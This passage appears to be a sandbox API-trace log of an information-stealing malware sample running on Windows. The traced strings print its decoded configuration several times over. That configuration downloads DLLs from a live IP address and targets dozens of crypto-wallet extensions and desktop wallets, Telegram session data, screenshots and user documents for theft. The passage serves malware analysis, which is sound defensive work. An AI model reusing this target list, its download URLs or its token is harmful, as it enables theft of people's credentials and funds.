Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.247] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f4830 [0266.247] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.247] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f7178 [0266.247] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.247] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f9ac0 [0266.247] lstrlenW (lpString="elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4085 [0266.247] LocalAlloc (uFlags=0x40, uBytes=0x206a) returned 0x6fc408 [0266.247] StrCpyW (in: psz1=0x6ef5a0, psz2="Electrum-LTC" | out: psz1="Electrum-LTC") returned="Electrum-LTC" [0266.248] LocalFree (hMem=0x6fc408) returned 0x0 [0266.248] StrStrW (lpFirst="26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram 